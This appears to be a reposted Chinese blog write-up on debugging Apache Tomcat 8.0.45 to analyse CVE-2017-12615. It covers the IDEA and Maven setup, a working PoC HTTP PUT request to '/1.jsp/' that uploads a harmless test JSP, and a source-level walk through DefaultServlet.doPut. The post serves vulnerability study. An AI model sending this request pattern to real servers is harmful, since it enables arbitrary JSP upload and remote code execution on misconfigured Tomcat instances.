搭建Tomcat调试环境并分析CVE-2017-12615

2023-12-14 03:17:40

准备

下载存在漏洞版本tomcat,这里下的是8.0.45

https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.45/

可执行文件和源码都需要下载

image-20231211175024623

用idea打开源码文件,然后将java目录设置为源码目录

image-20231211175409302

配置一下jdk

image-20231211175636737

image-20231211180120903

image-20231212120237309

转成maven项目

image-20231211180334913

image-20231211180341846

添加一些依赖

    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.easymock</groupId>
            <artifactId>easymock</artifactId>
            <version>3.4</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/ant/ant -->
        <dependency>
            <groupId>ant</groupId>
            <artifactId>ant</artifactId>
            <version>1.6.5</version>
        </dependency>
        <dependency>
            <groupId>wsdl4j</groupId>
            <artifactId>wsdl4j</artifactId>
            <version>1.6.2</version>
        </dependency>
        <dependency>
            <groupId>javax.xml</groupId>
            <artifactId>jaxrpc</artifactId>
            <version>1.1</version>
        </dependency>
        <dependency>
            <groupId>org.eclipse.jdt.core.compiler</groupId>
            <artifactId>ecj</artifactId>
            <version>4.5.1</version>
        </dependency>
    </dependencies>

image-20231211181456337

配置调试环境:

image-20231212175355714

指定主类

image-20231211181848670

给jvm添加个参数:

image-20231211182040675

-Dcatalina.home="C:\Users\yokan\Desktop\code\java\apache-tomcat-8.0.45"

image-20231211182300130

现在就配置好所有环境了,运行一下看看:

image-20231212132332739

image-20231212132340741

复现

poc

PUT /1.jsp/ HTTP/1.1
Host: 192.167.30.37:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=DE7C57127EF339EAF83C0EBCF3C45A54
Connection: close

<%out.print("TEST");%>

image-20231212134821840

要触发漏洞,需要修改一下配置:

在web.xml下增加

image-20231212135159313

然后就可以利用成功了

image-20231212135258447

调试

Tomcat 在处理请求时有两个默认的 Servlet,一个是 DefaultServelt,另一个是 JspServlet。两个 Servlet 被配置在 Tomcat 的 web.xml 中。JspServlet 只处理后缀为.jsp 和.jspx 的请求。其他请求都由 DefaultServlet 进行处理。从这一点可以理解为何 PUT 请求时 URI 为“/1.jsp/”而不直接使用“/1.jsp”, 因为直接 PUT 请求“/1.jsp”会由 JspServlet 进行处理,而不是由 DefaultServlet 处理, 所以无法触发漏洞。

DefaultServlet程序针对每一种http请求方式都有对应的方法,漏洞复现中使用的payload中请求头为put方式,因此会被DefaultServlet程序的doPut方法拦截到,因此doPut方法是我们分析的入口。

搜索DefaultServlet:

image-20231212140658886

然后找到它的doPut方法

image-20231212140803134

image-20231212140812998

然后下一个断点

image-20231212140841824

然后重放一下请求包:

image-20231212142042711

doPut方法中首先会判断readOnly,如果readOnly值为true会发送SC_FORBIDDEN错误并直接返回(SC_FORBIDDEN定义在HttpServletResponse接口中,表示403错误代码)。只有当readOnly值为false才会继续往下执行,那么readOnly值是从哪来的?其实readOnly的值就是从web.xml文件中读取的

在下面位置打个断点

image-20231212142440182

image-20231212142637845

步入该方法

image-20231212142808647

image-20231212142906590

继续步入main.write方法

image-20231212150248337

进入到file方法

这里可以看到在new File这里把/3.jsp/的后面的斜杠给去掉了

image-20231212150546471

单步执行到Files.copy方法

这里可以看下dest.toPath的执行结果:

image-20231212143546062

然后步入,继续运行到newOutputStream方法,

继续步入

image-20231212144222179

可以看到这这里完成了文件的创建,但是内容还是为空

image-20231212151034790

通过copy方法,写入了内容

image-20231212151209724

image-20231212151310074

总结:

tomcat任意文件写入漏洞通过一些错误配置,然后再构造特定的uri请求来绕过JspServlet,利用DefaultServlet程序的漏洞上传文件

文章来源:https://blog.csdn.net/st3pby/article/details/134978868
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。